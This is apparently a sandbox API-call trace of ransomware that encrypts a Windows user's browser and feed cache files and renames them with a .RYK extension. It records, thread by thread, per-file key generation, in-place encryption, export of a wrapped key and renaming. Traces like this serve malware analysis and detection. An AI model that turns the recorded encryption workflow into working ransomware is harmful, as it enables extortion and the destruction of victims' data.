	[0260.641] WriteFile (in: hFile=0x8c8, lpBuffer=0x924fab0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x924fa90, lpOverlapped=0x0 | out: lpBuffer=0x924fab0*, lpNumberOfBytesWritten=0x924fa90*=0x6, lpOverlapped=0x0) returned 1
	[0260.641] CryptExportKey (in: hKey=0x2b8ea0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x924faa0 | out: pbData=0x0*, pdwDataLen=0x924faa0*=0x10c) returned 1
	[0260.641] CryptExportKey (in: hKey=0x2b8ea0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x924fb10, pdwDataLen=0x924faa0 | out: pbData=0x924fb10*, pdwDataLen=0x924faa0*=0x10c) returned 1
	[0260.642] WriteFile (in: hFile=0x8c8, lpBuffer=0x924fb10*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x924fa90, lpOverlapped=0x0 | out: lpBuffer=0x924fb10*, lpNumberOfBytesWritten=0x924fa90*=0x10c, lpOverlapped=0x0) returned 1
	[0260.642] CloseHandle (hObject=0x8c8) returned 1
	[0260.643] CryptDestroyKey (hKey=0x2b8ea0) returned 1
	[0260.644] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3143
	os_tid = 0x3618

	[0260.628] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms", dwFileAttributes=0x80) returned 1
	[0260.630] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4
	[0260.630] GetFileSizeEx (in: hFile=0x8c4, lpFileSize=0x972f598 | out: lpFileSize=0x972f598*=28672) returned 1
	[0260.630] GetFileSizeEx (in: hFile=0x8c4, lpFileSize=0x972f5a8 | out: lpFileSize=0x972f5a8*=28672) returned 1
	[0260.630] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x6ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0260.630] ReadFile (in: hFile=0x8c4, lpBuffer=0x972f5f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x972f560, lpOverlapped=0x0 | out: lpBuffer=0x972f5f0*, lpNumberOfBytesRead=0x972f560*=0x19, lpOverlapped=0x0) returned 1
	[0260.637] SetFilePointer (in: hFile=0x8c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0260.638] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x972f578 | out: phKey=0x972f578*=0x2b90d0) returned 1
	[0260.638] SetFilePointer (in: hFile=0x8c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0260.638] ReadFile (in: hFile=0x8c4, lpBuffer=0x2690000, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x972f584, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesRead=0x972f584*=0x7000, lpOverlapped=0x0) returned 1
	[0260.646] CryptEncrypt (in: hKey=0x2b90d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x972f580*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x972f580*=0xf4250) returned 1
	[0260.646] CryptEncrypt (in: hKey=0x2b90d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2690000*, pdwDataLen=0x972f588*=0x7000, dwBufLen=0xf4250 | out: pbData=0x2690000*, pdwDataLen=0x972f588*=0x7010) returned 1
	[0260.646] SetFilePointer (in: hFile=0x8c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0260.646] WriteFile (in: hFile=0x8c4, lpBuffer=0x2690000*, nNumberOfBytesToWrite=0x7010, lpNumberOfBytesWritten=0x972f584, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesWritten=0x972f584*=0x7010, lpOverlapped=0x0) returned 1
	[0260.648] WriteFile (in: hFile=0x8c4, lpBuffer=0x972f5b0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x972f590, lpOverlapped=0x0 | out: lpBuffer=0x972f5b0*, lpNumberOfBytesWritten=0x972f590*=0x6, lpOverlapped=0x0) returned 1
	[0260.648] CryptExportKey (in: hKey=0x2b90d0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x972f5a0 | out: pbData=0x0*, pdwDataLen=0x972f5a0*=0x10c) returned 1
	[0260.648] CryptExportKey (in: hKey=0x2b90d0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x972f610, pdwDataLen=0x972f5a0 | out: pbData=0x972f610*, pdwDataLen=0x972f5a0*=0x10c) returned 1
	[0260.648] WriteFile (in: hFile=0x8c4, lpBuffer=0x972f610*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x972f590, lpOverlapped=0x0 | out: lpBuffer=0x972f610*, lpNumberOfBytesWritten=0x972f590*=0x10c, lpOverlapped=0x0) returned 1
	[0260.648] CloseHandle (hObject=0x8c4) returned 1
	[0260.651] CryptDestroyKey (hKey=0x2b90d0) returned 1
	[0260.651] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3144
	os_tid = 0x361c

	[0260.635] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1].RYK", dwFileAttributes=0x80) returned 1
	[0260.636] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\1nbur4hr\\fwlink[1].ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0260.636] GetFileSizeEx (in: hFile=0x8cc, lpFileSize=0x8e9f9d8 | out: lpFileSize=0x8e9f9d8*=0) returned 1
	[0260.636] GetFileSizeEx (in: hFile=0x8cc, lpFileSize=0x8e9f9e8 | out: lpFileSize=0x8e9f9e8*=0) returned 1
	[0260.636] CloseHandle (hObject=0x8cc) returned 1

Thread:
	id = 3156
	os_tid = 0x364c

	[0260.819] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1].RYK", dwFileAttributes=0x80) returned 1
	[0260.821] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\6asvn7j7\\fwlink[1].ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0260.821] GetFileSizeEx (in: hFile=0x8cc, lpFileSize=0x8c5f978 | out: lpFileSize=0x8c5f978*=0) returned 1
	[0260.821] GetFileSizeEx (in: hFile=0x8cc, lpFileSize=0x8c5f988 | out: lpFileSize=0x8c5f988*=0) returned 1
	[0260.821] CloseHandle (hObject=0x8cc) returned 1

Thread:
	id = 3157
	os_tid = 0x3650

	[0260.826] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1].RYK", dwFileAttributes=0x80) returned 1
	[0260.827] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\d68g7bij\\fwlink[1].ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d0
	[0260.827] GetFileSizeEx (in: hFile=0x8d0, lpFileSize=0x935fa18 | out: lpFileSize=0x935fa18*=0) returned 1
	[0260.827] GetFileSizeEx (in: hFile=0x8d0, lpFileSize=0x935fa28 | out: lpFileSize=0x935fa28*=0) returned 1
	[0260.827] CloseHandle (hObject=0x8d0) returned 1

Thread:
	id = 3158
	os_tid = 0x3654

	[0261.103] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\index.dat.RYK", dwFileAttributes=0x80) returned 1
	[0261.105] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\index.dat.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc
	[0261.105] GetFileSizeEx (in: hFile=0x8dc, lpFileSize=0x950fb78 | out: lpFileSize=0x950fb78*=33058) returned 1
	[0261.105] GetFileSizeEx (in: hFile=0x8dc, lpFileSize=0x950fb88 | out: lpFileSize=0x950fb88*=33058) returned 1
	[0261.105] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0x8000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0261.105] ReadFile (in: hFile=0x8dc, lpBuffer=0x950fbd0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x950fb40, lpOverlapped=0x0 | out: lpBuffer=0x950fbd0*, lpNumberOfBytesRead=0x950fb40*=0x19, lpOverlapped=0x0) returned 1
	[0261.107] CloseHandle (hObject=0x8dc) returned 1

Thread:
	id = 3170
	os_tid = 0x368c

	[0261.109] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1].RYK", dwFileAttributes=0x80) returned 1
	[0261.110] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\fwlink[1].ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc
	[0261.110] GetFileSizeEx (in: hFile=0x8dc, lpFileSize=0x8e3f6b8 | out: lpFileSize=0x8e3f6b8*=0) returned 1
	[0261.110] GetFileSizeEx (in: hFile=0x8dc, lpFileSize=0x8e3f6c8 | out: lpFileSize=0x8e3f6c8*=0) returned 1
	[0261.110] CloseHandle (hObject=0x8dc) returned 1

Thread:
	id = 3171
	os_tid = 0x3690

	[0261.111] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]", dwFileAttributes=0x80) returned 1
	[0261.112] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\ieonline.microsoft[1]"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc
	[0261.113] GetFileSizeEx (in: hFile=0x8dc, lpFileSize=0x8cbfa78 | out: lpFileSize=0x8cbfa78*=0) returned 1
	[0261.113] GetFileSizeEx (in: hFile=0x8dc, lpFileSize=0x8cbfa88 | out: lpFileSize=0x8cbfa88*=0) returned 1
	[0261.113] CloseHandle (hObject=0x8dc) returned 1
	[0261.113] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\ieonline.microsoft[1]"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\ieonline.microsoft[1].ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3172
	os_tid = 0x3694

	[0261.123] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT.RYK", dwFileAttributes=0x80) returned 1
	[0261.124] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\frmcache.dat.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc
	[0261.124] GetFileSizeEx (in: hFile=0x8dc, lpFileSize=0x8f7fc98 | out: lpFileSize=0x8f7fc98*=246258) returned 1
	[0261.124] GetFileSizeEx (in: hFile=0x8dc, lpFileSize=0x8f7fca8 | out: lpFileSize=0x8f7fca8*=246258) returned 1
	[0261.124] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0x3c0d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0261.124] ReadFile (in: hFile=0x8dc, lpBuffer=0x8f7fcf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f7fc60, lpOverlapped=0x0 | out: lpBuffer=0x8f7fcf0*, lpNumberOfBytesRead=0x8f7fc60*=0x19, lpOverlapped=0x0) returned 1
	[0261.126] CloseHandle (hObject=0x8dc) returned 1

Thread:
	id = 3173
	os_tid = 0x3698

	[0261.389] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.bak.RYK", dwFileAttributes=0x80) returned 1
	[0261.389] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.bak.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\brndlog.bak.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x920
	[0261.390] GetFileSizeEx (in: hFile=0x920, lpFileSize=0x90dfc58 | out: lpFileSize=0x90dfc58*=12482) returned 1
	[0261.390] GetFileSizeEx (in: hFile=0x920, lpFileSize=0x90dfc68 | out: lpFileSize=0x90dfc68*=12482) returned 1
	[0261.390] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x2fa0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0261.390] ReadFile (in: hFile=0x920, lpBuffer=0x90dfcb0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x90dfc20, lpOverlapped=0x0 | out: lpBuffer=0x90dfcb0*, lpNumberOfBytesRead=0x90dfc20*=0x19, lpOverlapped=0x0) returned 1
	[0261.392] CloseHandle (hObject=0x920) returned 1

Thread:
	id = 3174
	os_tid = 0x369c


Thread:
	id = 3185
	os_tid = 0x36c8

	[0261.394] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.txt.RYK", dwFileAttributes=0x80) returned 1
	[0261.394] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.txt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\brndlog.txt.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x920
	[0261.395] GetFileSizeEx (in: hFile=0x920, lpFileSize=0x8d1f6f8 | out: lpFileSize=0x8d1f6f8*=12498) returned 1
	[0261.395] GetFileSizeEx (in: hFile=0x920, lpFileSize=0x8d1f708 | out: lpFileSize=0x8d1f708*=12498) returned 1
	[0261.395] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x2fb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0261.395] ReadFile (in: hFile=0x920, lpBuffer=0x8d1f750, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d1f6c0, lpOverlapped=0x0 | out: lpBuffer=0x8d1f750*, lpNumberOfBytesRead=0x8d1f6c0*=0x19, lpOverlapped=0x0) returned 1
	[0261.397] CloseHandle (hObject=0x920) returned 1

Thread:
	id = 3186
	os_tid = 0x36cc

	[0261.398] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml", dwFileAttributes=0x80) returned 1
	[0261.399] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x920
	[0261.399] GetFileSizeEx (in: hFile=0x920, lpFileSize=0x8f8f7f8 | out: lpFileSize=0x8f8f7f8*=13) returned 1
	[0261.400] GetFileSizeEx (in: hFile=0x920, lpFileSize=0x8f8f808 | out: lpFileSize=0x8f8f808*=13) returned 1
	[0261.400] CloseHandle (hObject=0x920) returned 1
	[0261.400] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3187
	os_tid = 0x36d0

	[0261.581] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\index.dat", dwFileAttributes=0x80) returned 1
	[0261.581] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8fc
	[0261.582] GetFileSizeEx (in: hFile=0x8fc, lpFileSize=0x93ef598 | out: lpFileSize=0x93ef598*=32768) returned 1
	[0261.582] GetFileSizeEx (in: hFile=0x8fc, lpFileSize=0x93ef5a8 | out: lpFileSize=0x93ef5a8*=32768) returned 1
	[0261.582] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x7ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0261.582] ReadFile (in: hFile=0x8fc, lpBuffer=0x93ef5f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x93ef560, lpOverlapped=0x0 | out: lpBuffer=0x93ef5f0*, lpNumberOfBytesRead=0x93ef560*=0x19, lpOverlapped=0x0) returned 1
	[0261.587] SetFilePointer (in: hFile=0x8fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0261.587] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x93ef578 | out: phKey=0x93ef578*=0x2b8ea0) returned 1
	[0261.587] SetFilePointer (in: hFile=0x8fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0261.587] ReadFile (in: hFile=0x8fc, lpBuffer=0x2f90000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x93ef584, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesRead=0x93ef584*=0x8000, lpOverlapped=0x0) returned 1
	[0261.597] CryptEncrypt (in: hKey=0x2b8ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x93ef580*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x93ef580*=0xf4250) returned 1
	[0261.598] CryptEncrypt (in: hKey=0x2b8ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f90000*, pdwDataLen=0x93ef588*=0x8000, dwBufLen=0xf4250 | out: pbData=0x2f90000*, pdwDataLen=0x93ef588*=0x8010) returned 1
